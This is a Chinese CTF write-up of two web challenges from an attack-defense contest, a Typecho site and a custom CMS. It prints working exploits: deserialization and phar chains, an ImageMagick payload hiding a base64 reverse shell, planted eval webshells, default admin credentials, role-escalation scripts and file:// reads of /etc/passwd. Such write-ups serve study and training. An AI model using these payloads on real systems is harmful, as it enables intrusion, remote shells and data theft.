内容简介:前言上周参加了西湖论剑线下赛,在AD攻防赛中喜迎冠军,以下是AD攻防赛中2道web的题解。Web1 – typecho
前言
上周参加了西湖论剑线下赛,在AD攻防赛中喜迎冠军,以下是AD攻防赛中2道web的题解。
Web1 – typecho
整体源码如下:
因为是typecho CMS,所以肯定有已知CVE,由于之前审计过,这就不重新分析了,只分析人为加入的。
漏洞1 – 反序列化CVE
https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/
可参加我以前分析的这篇文章,构造如下序列化,进行RCE:
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
漏洞2 – Imagick
通过源码diff,可以发现:
/var/Widget/Users/Profile.php
有明显不同,插入了一大段代码:
我们审计这段代码,可以发现关键点:
try {
$image = new Imagick($file['tmp_name']);
$image->scaleImage(255, 255);
file_put_contents($path, $image->getImageBlob());
} catch (Exception $e) {
$this->widget('Widget_Notice')->set(_t("头像上传失败"), 'error');
$this->response->goBack();
}
这段代码使用了Imagick(),而该函数存在RCE漏洞。
我们以如下代码为例进行测试:
构造上传内容为:
Content-Disposition: form-data; name="file_upload"; filename="exp.gif" Content-Type: image/jpeg push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pICZndDsmIC9kZXYvdGNwL2lwL3BvcnQgMCZndDsmMQ== | base64 -d | bash`"| cat flag " )' pop graphic-context
即可RCE。
漏洞3 – authcode泄露
我们diff可以发现如下路径,存在新增文件:
/var/Sitemap.php
我们审计代码发现关键点:
function ab($a='a')
{
$b = authcode(base64_decode('MjJkZnFseEVScHcxWkU5c08raGxoOUJzWGFKM0F3NWVPMm5QUUFISm5WSDhuTGc='));
$b($a);
}
{
ob_start(ab);
echo authcode($_GET['site']);
ob_end_flush();
}
我们直接var_dump($b),发现为system,即此处如果可控$a,则可进行RCE。
我们测试一下:
<?php
function ab($a='a')
{
// replace all the apples with oranges
return system($a);
}
ob_start("ab");
?>
curl 106.14.114.127:24444
<?php
ob_end_flush();
?>
可收到请求:
则不难发现,如果我们能控制如下函数的输出内容,即可进行任意RCE。
authcode($_GET['site']);
那我们跟进authcode:
function authcode($string, $key = '12333010101') {
$ckey_length = 4;
$key = md5($key ? $key : $GLOBALS['discuz_auth_key']);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length);
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&
substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}
依次分析,首先key已知为12333010101,那么:
$cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey);
分别为:
afbedca20d58ccf2ceab39618a931d526ba4b613c047adffd92173daa701cdb6 64
然后操作:
$string = base64_decode(substr($string, $ckey_length)); $string_length = strlen($string);
所以我们构造的payload的base64长度要小于64。
然后是一堆流密钥生成步骤,到最后解密这一块:
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
最后有一步操作,即将我们输入的密文$string,异或上之前的流密钥,得到明文$result。
那么如果我们想要已知明文求密文,即用$result异或上流密钥即可:
$string .= chr(ord($result[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
那我们怎么获取$result呢?还有一步校验要通过:
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&
substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
}
我们可以用如下方式生成$result:
<?php $keyb = "9528c27d9961b981415d909a120c6e1b"; $result = 'ls'; $tmp = substr(md5($result . $keyb), 0, 16); $padding = '0000000000'; $result = $padding.$tmp.$result; var_dump($result);
最后异或之前的流密钥,再base64encode,即可得到我们的input,达到任意RCE的目的。
值得注意的是还有一步:
$keyc = substr($string, 0, $ckey_length);
在我们只有明文,没有加密算法的时候,他需要对密文进行截取,这就非常难办了。但是好在:
$ckey_length = 4;
由于其在base64encode之后,所以我们可以对其进行爆破,数量级为64^4,还是在可爆破的范围内。
这样很容易即可进行RCE(这样的题目放在4个小时,2个web的AD下,可能不太好吧= =)。
Web2 – Mycms
整体源码如下,我们依次审计:
漏洞1 – 预留回调函数
/footer.php
<?php
if($_SERVER['SCRIPT_FILENAME']==__FILE__){
echo '<p>© mycms</p>';
}else{
array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
}
?>
从代码不难看出:
array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
该位置存在命令执行,例如:
array_filter(array('ls /tmp'),'system');
但是如果直接访问footer.php:
http://localhost/footer.php
会直接打印:
© mycms
所以需要找到一个包含点,不难发现index.php有:
<?php include "footer.php";?>
那么只要$data["name"]和$data["pass"]可控,即可进行任意命令执行。
我们跟进两个变量:
/libs/inc_common.php
$data = array_merge($_POST,$_GET);
可以发现,既可以用$_POST也可以用$_GET进行传参。
所以第一个漏洞利用exp可以写为如下:
import requests
import base64
url = 'http://localhost/index.php'
data = {
"name":base64.b64encode('ls'),
"pass":base64.b64encode('system')
}
r = requests.post(data=data,url=url)
漏洞2 – 预留登录shell
/shell.php
<?php
session_start();
if ($_SESSION['role'] == 1) {
eval($_POST[1]);
}
我们发现有一个较为明显的预留shell,但是需要:
$_SESSION['role'] == 1
我们跟进该值:
/login.php
if (User::check($user, $pass)) {
setcookie("auth",$user."\t".User::encodePassword($pass));
$_SESSION['user'] = User::getIDByName($user);
$_SESSION['role'] = User::getRoleByName($user);
$wrong = false;
header("Location: index.php");
} else {
$wrong = true;
}
}
可以发现如上登录函数,其中有赋值操作:
$_SESSION['role'] = User::getRoleByName($user);
跟进该函数getRoleByName():
public static function getRoleByName($name)
{
$users = User::getAllUser();
for ($i = 0; $i < count($users); $i++) {
if ($users[$i]['name'] === $name) {
return $users[$i]['role'];
}
}
return null;
}
再跟进getAllUser():
public static function getAllUser()
{
$sql = 'select * from `user`';
$db = new MyDB();
if (!$users = $db->exec_sql($sql)) {
return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1));
}
return $users;
}
可以发现有admin账户信息,容易知道admin账户为:
username = admin password = admin123
那么综合来看,只需使用该账户登录,即可使用shell.php。
那么可以写出如下exp:
import requests
url = "http://localhost/login.php"
s = requests.session()
data = {
'user':'admin',
'pass':'admin123'
}
r = s.post(url, data=data)
data = {
'1':"system('ls');"
}
url = "http://localhost/shell.php"
r = s.post(url,data=data)
漏洞3 – 管理员覆盖
我们注意到注册页面:
/register.php
$data["name"] = addslashes($data['name']); $data["password"] = User::encodePassword($data['password']); $res = User::insertuser($data);
我们跟进insertuser():
public static function insertuser($data)
{
$db = new MyDB();
$sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
if (!$result = $db->exec_sql($sql)) {
return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
}
return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}
发现关键语句:
$sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
未对$data进行判断,不但未进行查重,也没对数组内容进行check,我们可以顺便传入role,覆盖管理员。
可写出如下脚本:
import requests
s = requests.session()
url = "http://localhost/register.php"
data = {
'name':'skysky'
'password':'skysky'
'role':'1'
}
r = s.post(url, data=data)
url = "http://localhost/login.php"
data = {
'user':'skysky',
'pass':'skysky'
}
r = s.post(url, data=data)
data = {
'1':"system('ls');"
}
url = "http://localhost/shell.php"
r = s.post(url,data=data)
漏洞点4 – 任意文件读取
我们看到文件:
/down.php
<?php
if (isset($data['filename'])) {
if(preg_match("/^http/", $data['filename'])){
exit();
}
chdir("/var/www/html/static/img/");
if (file_exists($data['filename'])) {
header("Content-type: application/octet-stream");
header('content-disposition:attachment; filename='.basename($data['filename']));
echo file_get_contents($data['filename']);exit();
}else{
echo "文件不存在";
}
}
?>
这里对filename参数做了过滤,但过滤非常有限,我们可以用file协议进行任意文件读取:
http://localhost/?filename=file:///etc/passwd
漏洞点5 – 反序列化
我们看到文件:
/libs/class_debug.php
<?php
class Debug {
public $msg='';
public $log='';
function __construct($msg = '') {
$this->msg = $msg;
$this->log = 'errorlog';
$this->fm = new FileManager($this->msg);
}
function __toString() {
$str = "[DEUBG]" . $msg;
$this->fm->save();
return $str;
}
function __destruct() {
file_put_contents('/var/www/html/logs/'.$this->log,$this->msg);
unset($this->msg);
}
}
可以发现这里有比较明显任意写文件漏洞,但我们需要控制文件名和文件内容,即:
$this->log $this->msg
这里的exp构造较为容易:
<?php
class Debug {
public $msg='sky.php';
public $log='<?php @eval($_POST[\'sky\'])';
}
$a = new Debug();
var_dump(serialize($a));
可以得到我们的payload:
O:5:"Debug":2:{s:3:"msg";s:7:"sky.php";s:3:"log";s:26:"<?php @eval($_POST['sky'])";}
但是我们缺少一个触发序列化的点,这里容易想到phar反序列化。
我们全局搜索file_exists(),可以发现/down.php中存在该操作:
if (file_exists($data['filename']))
同时该处没有对伪协议进行过滤,我们可以使用操作:
filename=phar://......
于是我们进一步寻找上传点,我们在/admin.php发现对应上传功能:
else if ($data['action'] == 'send_article') {
$res = Article::sendArticle($data);
echo "<html><script>alert('" . $res['msg'] . "')</script></html>";
echo "<script>window.location.href='admin.php'</script>";
}
我们跟进sendArticle():
$oldname = $_FILES['files']['name'];
$tmp = $_FILES['files']['tmp_name'];
$pathinfo = pathinfo($oldname);
if (in_array($pathinfo['extension'], array('php', 'php3', 'php4', 'php5'))) {
return array('msg' => '文件上传类型出错', 'code' => -1, 'data' => array());
}
$nameid = time() . rand(1000, 9999);
$name = $nameid. '.' . $pathinfo['extension'];
$filepath = dirname(dirname(__FILE__)) . '/uploads/';
$file = 'uploads/' . $name;
if (!move_uploaded_file($tmp, $filepath . $name)) {
return array('msg' => '文件上传出错', 'code' => -1, 'data' => array());
}
这里可以看到几个过滤,首先对后缀名进行了过滤:
'php', 'php3', 'php4', 'php5'
然后进行了重命名,但这都不重要。我们可以构造图片后缀的phar文件,然后上传,结合file_exists()触发反序列化。
构造如下:
<?php
class Debug {
public $msg='sky.php';
public $log='<?php @eval($_POST[\'sky\'])';
}
$a = serialize(new Debug());
$b = unserialize($a);
$p = new Phar('./skyfuck.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('skyfuck.phar', 'skyfuck.jpg')
?>
上传图片后即可触发反序列化,通过:
http://localhost/down.php?filename=phar://uploads/1234.jpg
即可任意写shell。
后记
听说两个cms一起有是几个洞 = =,先分析一下目前我找到的吧~有空再继续挖掘!
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 2019西湖论剑AD攻防Web题解
- 2019公链论剑 • 创新力
- 2019 西湖论剑 Web wp
- 2019安恒周周练西湖论剑特别版
- AI时代论剑,芯片是核心,中国能否弯道超车?
- leetcode题解(动态规划)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Trading and Exchanges
Larry Harris / Oxford University Press, USA / 2002-10-24 / USD 95.00
This book is about trading, the people who trade securities and contracts, the marketplaces where they trade, and the rules that govern it. Readers will learn about investors, brokers, dealers, arbit......一起来看看 《Trading and Exchanges》 这本书的介绍吧!